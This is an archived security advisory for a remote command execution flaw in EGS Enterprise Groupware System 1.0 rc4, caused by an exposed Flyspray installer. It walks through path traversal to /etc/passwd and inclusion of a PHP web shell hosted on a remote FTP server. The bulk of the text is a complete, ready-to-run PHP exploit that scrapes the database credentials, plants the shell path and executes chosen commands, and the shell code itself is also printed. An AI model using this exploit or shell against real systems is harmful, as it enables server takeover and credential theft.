EGS Enterprise Groupware System 1.0 rc4 remote commands execution

Advisory Content :

--------EGS Enterprise Groupware System 1.0 rc4 (possibly prior
versions)-------
remote code execution
------------------------------------------------------------------------
--------

software:
site: http://egs.sourceforge.net/
description: "EGS is an Open Source business system released under
the GNU
GPL that is sponsored and supported by an established
commercial
company - Senokian Solutions. Unlike other similar
applicatiosn,
EGS is not beholden to share holders or venture
capitalists, and
is developed by a team of keen Open Source programmers,
with the
support and sponsorship of Senokian Solutions."
------------------------------------------------------------------------
--------

i) EGS carries a vulnerable version of Flyspray installer
(http://flyspray.rocks.cc/ ), you can access directly to it calling this
url:

http://[target]/[path_to_egs]/modules/projects/sql/install-0.9.7.php

if setup has been executed once, a message says:

"Setup has already been completed. If you really want to run it again,
remove
flyspray.conf.php"

but if you go to
http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=2

you have full access to installation procedure.

Now, give a look to vulnerable code at lines 172-199:

...
} elseif ($page == '3') {

/*if (file_exists('../flyspray.conf.php')) {
die('Setup has already been completed. If you really want to run it
again, remove flyspray.conf.php');
};*/

$_SESSION['basedir'] = stripslashes($_POST['basedir']);
$_SESSION['adodbpath'] = stripslashes($_POST['adodbpath']);
$_SESSION['dbtype'] = $_POST['dbtype'];
$_SESSION['dbname'] = $_POST['dbname'];
$_SESSION['dbhost'] = $_POST['dbhost'];
$_SESSION['dbuser'] = $_POST['dbuser'];
$_SESSION['dbpass'] = $_POST['dbpass'];

if ($_POST['basedir'] != ''
&& $_POST['adodbpath'] != ''
&& $_POST['dbhost'] != ''
&& $_POST['dbname'] != ''
&& $_POST['dbuser'] != ''
&& $_POST['dbpass'] != ''
) {

// Now, check for the correct path to the adodb.inc.php file
if (!file_exists($_SESSION['adodbpath']))
{
die('The path to adodb.inc.php wasn't set correctly. <a
href="?p=2">Go back and fix it up.</a>');

}
...

and at lines 287-295:

...
} elseif ($page == '4') {

if (!isset($_SESSION['basedir'])) {
Header("Location: install-0.9.7.php?p=1");
};

// Activate adodb
include_once ($_SESSION['adodbpath']);
...

at step 2 fill the adobpath field with a value like this:

../../../../../../../../../../etc/passwd

proceed to step 3 and 4 and you will see at screen /etc/passwd file
'cause $_SESSION['adodbpath'] is assigned to it and it is included by the
script

so on PHP4 you can view/execute any file on local resources...

on PHP5, because file_exists() function supports ftp locations, you submit
a
value like this for 'adodbpath':

ftp://username:password@somehost/shell.php

now, if shell.php have this code inside:

<?php passthru($HTTP_GET_VARS[cmd]);?>

you can launch commands on target system, poc:

http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=4&cmd=ls
%0-la

------------------------------------------------------------------------
--------
exploit:

<?php
# ---egs_10rc4_php5_incl_xpl.php 17.57
13/02/2006 #
#
#
# EGS Enterprise Groupware System <=1.0 rc4 remote commands execution
exploit #
# coded by rgod
#
# site: http://retrogod.altervista.org
#
#
#
# -> works against PHP5
#
# usage: launch from Apache, fill in requested fields, then go!
#
#
#
# Sun-Tzu: "Thus the energy developed by good fighting men is as the
momentum #
# of a round stone rolled down a mountain thousands of feet in height. So
#
# much on the subject of energy."
#

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> ******** EGS <= 1.0 rc4 remote commands execution
*****
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{background-color: #FFFFFF !important} input {background-color:
#303030
!important} option { background-color: #303030 !important}
textarea
{background-color: #303030 !important} input {color: #1CB081 !important}
option
{color: #1CB081 !important} textarea {color: #1CB081 !important}
checkbox
{background-color: #303030 !important} select {font-weight: normal;
color:
#1CB081; background-color: #303030;} body {font-size: 8pt
!important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size:
0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size:
0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p
class="Stile6">
******** EGS <= 1.0 rc4 remote commands execution ***** </p><p
class="Stile6">a
script by rgod at <a
href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td
width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'">
<p><input
type="text" name="host"> <span class="Stile5">* target
(ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path
(ex:
/EGS/ or just / ) </span></p><p><input type="text" name="cmd">
<span
class="Stile5"> * specify a command </span> </p> <p> <input
type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp resource (ex:
ftp://u
sername:password (at) somehost (dot) com [email concealed]/shell.php)
</span> </p><p> <input type="text"
name="port"><span class="Stile5">specify a port other than 80 (default
value)
</span> </p><p><input type="text" name="proxy"><span class="Stile5"> send
exp
loit through an HTTP proxy (ip:port) </span> </p> <p> <input
type="submit"
name="Submit" value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo
"<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".htmlentities($datai)."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if
not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " .
socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port
".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{

$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].'
proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect()
failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet,
strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket,
2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=$_POST[FTP_LOCATION];
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class="Stile5">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("r","",$host);$host=str_replace("n","",$host);
$path=str_replace("r","",$path);$path=str_replace("n","",$path);

# STEP 1 -> Call the Fiyspray 0.9.7 installation script...
$packet ="GET ".$p."modules/projects/sql/install-0.9.7.php?p=2
HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User-Agent: Rumours-Agentrn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);

$temp=explode("basedir" value="",$html);
$temp2=explode(""",$temp[1]);
$basedir=$temp2[0];
echo "basedir -> ".htmlentities($basedir)."<BR>";
$temp=explode("dbhost" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_HOST=$temp2[0];
echo "DB HOST -> ".htmlentities($DB_HOST)."<BR>";
$temp=explode("dbname" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_NAME=$temp2[0];
echo "DB NAME -> ".htmlentities($DB_NAME)."<BR>";
$temp=explode("dbuser" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_USER=$temp2[0];
echo "DB USER -> ".htmlentities($DB_USER)."<BR>";
$temp=explode("dbpass" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_PASS=$temp2[0];
echo "DB PASS -> ".strip_tags(htmlentities($DB_PASS))."<BR>";
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
echo "COOKIE -> ".htmlentities($COOKIE)."<BR>";

# STEP 2 -> submit the ftp resource with shell code inside...
$data ="basedir=".urlencode($basedir);
$data.="&adodbpath=".urlencode($FTP_LOCATION);
$data.="&dbtype=pgsql";
$data.="&dbuser=".urlencode($DB_USER);
$data.="&dbname=".urlencode($DB_NAME);
$data.="&dbhost=".urlencode($DB_HOST);
$data.="&dbpass=".urlencode($DB_PASS);
$packet ="POST ".$p."modules/projects/sql/install-0.9.7.php?p=3
HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User-Agent: Science Traveller International 1X/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Cookie: ".$COOKIE."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
show($packet);
sendpacketii($packet);

# STEP 3 -> Launch commands...
$packet ="GET
".$p."modules/projects/sql/install-0.9.7.php?p=4&cmd=".$cmd." HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User Agent: Googlebot 1.0rn";
$packet.="Cookie: ".$COOKIE."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{echo "Note: inside shell.php you need this code: <br>";
echo nl2br(htmlentities("
<?php

ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);phpinfo()
;passthru($HTTP_GET_VARS[cmd]);die;
?>
"))."<br>";
echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>
------------------------------------------------------------------------
--------
exploit code adjusted for flyspray 0.9.7:

http://retrogod.altervista.org/flyspray_097_php5_incl_xpl.html

------------------------------------------------------------------------
--------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory:
http://retrogod.altervista.org/egs_10rc4_php5_incl_xpl.html
------------------------------------------------------------------------
--------

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

EGS Enterprise Groupware System 1.0 rc4 remote commands execution